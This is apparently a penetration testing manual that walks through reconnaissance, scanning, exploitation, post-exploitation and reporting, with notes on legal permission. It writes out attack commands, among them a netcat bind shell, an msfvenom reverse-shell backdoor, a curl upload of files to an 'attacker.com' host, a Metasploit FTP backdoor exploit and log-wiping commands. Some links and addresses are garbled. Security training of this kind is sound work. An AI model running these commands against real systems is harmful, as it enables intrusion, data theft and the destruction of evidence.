Penetration Testing Manual: A Comprehensive Guide
1. Introduction to Penetration Testing
Penetration Testing (Pentesting) is a simulated cyberattack to assess security vulnerabilities in web
applications, servers, and networks.
1.1 Scope & Methodology
- Black Box: No prior knowledge of the system.
- White Box: Full knowledge, including source code and credentials.
- Gray Box: Partial knowledge, simulating an insider attack.
1.2 Legal & Ethical Considerations
- Always obtain written permission before testing.
- Adhere to laws (GDPR, CFAA, etc.).
- Follow responsible disclosure policies.
2. Reconnaissance (Information Gathering)
2.1 Passive Reconnaissance (OSINT)
- Identify targets without direct interaction.
- Tools:
- `whois example.com` – Retrieve domain details.
- `nslookup example.com` – Get DNS records.
- `theHarvester -d example.com -l 500 -b google` – Gather emails and subdomains.
- `Shodan` – Search for exposed services.
2.2 Active Reconnaissance
- Directly interacting with the target to gather more details.
- Tools:
- `nmap -sV -sC -O example.com` – Identify open ports, running services, and OS.
- `traceroute example.com` – Map the network path.
3. Scanning & Enumeration
3.1 Network Scanning
- Discover live hosts and services.
- Commands:
- `nmap -A -T4 192.168.1.1/24` – Aggressive scan on a subnet.
- `masscan -p1-65535 192.168.1.1/24 --rate=1000` – Fast port scanning.
3.2 Web Scanning
- Find vulnerabilities in web applications.
- Tools:
- `nikto -h Error! Hyperlink reference not valid. – Scan for web vulnerabilities.
- `gobuster dir -u http://example.com -w common.txt` – Discover hidden directories.
3.3 Service Enumeration
- Identify running services and extract useful information.
- Commands:
- `enum4linux -a 192.168.1.10` – Enumerate Windows shares.
- `snmpwalk -v2c -c public 192.168.1.10` – Enumerate SNMP information.
---
4. Exploitation (Gaining Access)
4.1 Web Application Exploitation
- Exploit common web vulnerabilities.
- Commands:
- `sqlmap -u "http://example.com?id=1" --dbs` – SQL injection test.
- `Burp Suite` – Intercept and manipulate HTTP requests.
4.2 Server Exploitation
- Identify and exploit vulnerable services.
- Commands:
- `searchsploit vsftpd 2.3.4` – Search for exploits.
- `use exploit/unix/ftp/vsftpd_234_backdoor` (Metasploit) – Exploit vulnerable FTP.
4.3 Privilege Escalation
- Escalate privileges to gain full control.
- Commands:
- `sudo -l` – Check for misconfigurations.
- `LinPEAS.sh` / `WinPEAS.exe` – Automated privilege escalation enumeration.
---
5. Post-Exploitation (Maintaining Access)
5.1 Creating Backdoors
- Maintain persistent access to a compromised system.
- Commands:
- `nc -lvp 4444 -e /bin/bash` – Bind shell with Netcat.
- `msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f exe >
backdoor.exe` – Generate a Meterpreter backdoor.
5.2 Data Exfiltration
- Steal sensitive information.
- Commands:
- `scp [email protected]:/etc/passwd ./` – Copy files remotely.
- `curl -X POST -F "[email protected]" http://attacker.com/upload` – Send files via HTTP.
5.3 Covering Tracks
- Hide evidence of penetration testing.
- Commands:
- `rm -rf /var/log/` – Delete logs (not recommended for ethical hacking).
- `echo '' > /var/log/auth.log` – Clear authentication logs.
---
6. Reporting & Remediation
6.1 Writing a Pentest Report
- Sections to Include:
1. Executive Summary – Overview for management.
2. Methodology – Steps followed.
3. Findings – Vulnerabilities and evidence.
4. Recommendations – Fixes and security improvements.
6.2 Remediation Best Practices
- Patch known vulnerabilities.
- Enforce strong authentication.
- Use firewalls and IDS/IPS.
- Regularly perform security assessments.
---
7. Conclusion
This manual provides a structured approach to penetration testing, covering reconnaissance,
exploitation, and post-exploitation. Always ensure ethical hacking principles and legal compliance when
performing security assessments.
